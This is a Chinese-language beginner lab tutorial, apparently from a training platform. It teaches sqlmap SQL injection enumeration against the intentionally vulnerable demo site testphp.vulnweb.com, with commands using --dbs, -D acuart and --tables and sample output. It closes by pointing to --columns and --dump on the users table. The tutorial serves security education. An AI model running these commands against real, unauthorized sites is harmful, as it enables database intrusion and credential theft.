使用 sqlmap 枚举特定数据库的表

Kali LinuxBeginner
立即练习

引言

在网络安全领域,理解数据库结构是评估 Web 应用程序安全状况的关键一步。SQL 注入漏洞可能暴露敏感信息,而 sqlmap 等工具在自动化发现和利用此类缺陷方面不可或缺。

本实验侧重于 sqlmap 功能中一个具体但至关重要的方面:枚举数据库中的表。在识别出潜在的 SQL 注入点并列出可用数据库后,下一步就是深入特定数据库以了解其表结构。这些信息对于进一步的利用至关重要,例如从特定表中转储敏感数据。

通过本实验的学习,你将熟练掌握使用 sqlmap 针对特定数据库并列出其所有相关表的能力,这是任何渗透测试人员或安全爱好者的一项基本技能。

从枚举列表中选择目标数据库

在此步骤中,我们将模拟已枚举数据库,并选择一个作为焦点。在实际场景中,你将已经运行 sqlmap 并使用 --dbs 标志来列出所有可用数据库。在本实验中,我们将假设你已将名为 acuart 的数据库确定为目标。

首先,让我们确保 sqlmap 可用。如果尚未安装,你可以使用 sudo apt update && sudo apt install sqlmap -y 进行安装。

我们将使用一个已知的易受攻击的 URL 作为我们的目标。出于演示目的,我们将使用 http://testphp.vulnweb.com/listproducts.php?cat=1

开始之前,让我们列出目标上可用的数据库。此命令将花费一些时间运行,因为 sqlmap 会执行其检查。

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs

你将看到类似以下的输出,列出数据库:

---
[INFO] fetching database names
[INFO] the back-end DBMS is MySQL
...
available databases [X]:
[*] acuart
[*] information_schema
[*] mysql
[*] performance_schema
...

从列表中,我们将选择 acuart 进行进一步的枚举。

使用 -D 标志指定数据库

在此步骤中,我们将学习如何告知 sqlmap 我们希望与之交互的特定数据库。这可以通过使用 -D (或 --db) 标志,后跟数据库名称来实现。

承接上一步,我们已将 acuart 确定为目标数据库,现在我们将指示 sqlmap 将其操作集中在此特定数据库上。

指定数据库的通用语法是:

sqlmap -u "TARGET_URL" -D "DATABASE_NAME" [OTHER_FLAGS]

在我们的实验中,我们将使用 acuart 作为数据库名称。我们尚未列出表,只是为 sqlmap 设置上下文。

在你的终端中执行以下命令:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --current-db

此命令将指示 sqlmapacuart 数据库为目标,然后尝试识别其连接到的当前数据库,以确认我们的选择。输出将确认 acuart 是正在被定位的数据库。

---
[INFO] fetching current database
...
current database: 'acuart'
...

使用 --tables 标志列出表

既然我们已经使用 -D 标志指定了目标数据库,接下来的逻辑步骤就是列出该数据库中的表。这时 --tables 标志就派上用场了。

--tables 标志指示 sqlmap 枚举当前选定数据库中存在的所有表。当与 -D 标志结合使用时,它提供了一种强大的方式来映射特定数据库的结构。

在特定数据库中列出表的通用语法是:

sqlmap -u "TARGET_URL" -D "DATABASE_NAME" --tables

在我们的实验中,我们将结合目标 URL、acuart 数据库和 --tables 标志。

在你的终端中执行以下命令:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables

此命令将启动 sqlmap 识别并列出 acuart 数据库中所有表的过程。此操作可能需要一些时间,具体取决于数据库的复杂性和大小。

执行命令以枚举表

在此步骤中,我们将执行完整的 sqlmap 命令,该命令结合了我们迄今为止学到的所有标志,以从我们的特定目标数据库枚举表。

我们将使用目标 URL http://testphp.vulnweb.com/listproducts.php?cat=1,使用 -D acuart 指定数据库 acuart,并指示 sqlmap 使用 --tables 列出其表。

打开你的终端并执行以下命令:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables

sqlmap 现在将执行其检查并尝试检索表名。随着 sqlmap 进行测试,你将看到各种 [INFO] 消息。

一段时间后,sqlmap 将显示在 acuart 数据库中找到的表列表。输出将类似于:

---
[INFO] fetching tables for database 'acuart'
...
Database: acuart
[X] articles
[X] carts
[X] categories
[X] guestbook
[X] pictures
[X] products
[X] users
...

此输出确认 sqlmap 已成功枚举 acuart 数据库中的表。

分析返回的表名列表

在最后一步,我们将分析上一个 sqlmap 命令的输出。理解返回的表名列表对于规划后续的利用步骤至关重要。

sqlmap 成功枚举表时,它会以清晰、有条理的列表形式呈现它们。对于 acuart 数据库,你应该看到了像 articlescartscategoriesguestbookpicturesproductsusers 这样的表。

每个表名都提供了关于数据库中存储的数据的线索。例如:

  • users:此表很可能包含用户凭据(用户名、密码、电子邮件),这通常是攻击者的主要目标。
  • products:此表将包含有关网站上销售的产品的信息。
  • articlesguestbookcategories:这些表可能包含与内容相关的数据。

users 表的存在尤其重要,因为它通常包含敏感信息。在实际的渗透测试中,你的下一步通常是枚举 users 表中的列(使用 --columns),然后转储这些列中的数据(使用 --dump)。

这个实验为你提供了使用 sqlmap 从特定数据库枚举表的基本技能,这是任何 SQL 注入评估中的关键一步。

总结

在这个实验中,你成功学会了如何使用 sqlmap 从特定数据库枚举表。你首先了解了选择目标数据库的重要性,然后使用 -D 标志指定它,最后使用 --tables 标志列出所有相关的表。

你执行了完整的 sqlmap 命令来进行枚举,并分析了返回的表名列表,理解了它们在安全评估中的潜在意义。这项技能是识别和利用 SQL 注入漏洞过程中的基础要素,它能让你绘制出数据库结构图并规划进一步的数据提取。

通过掌握这项技术,你现在能更好地导航和理解 Web 应用程序的底层数据结构,这是任何渗透测试工作中的关键一步。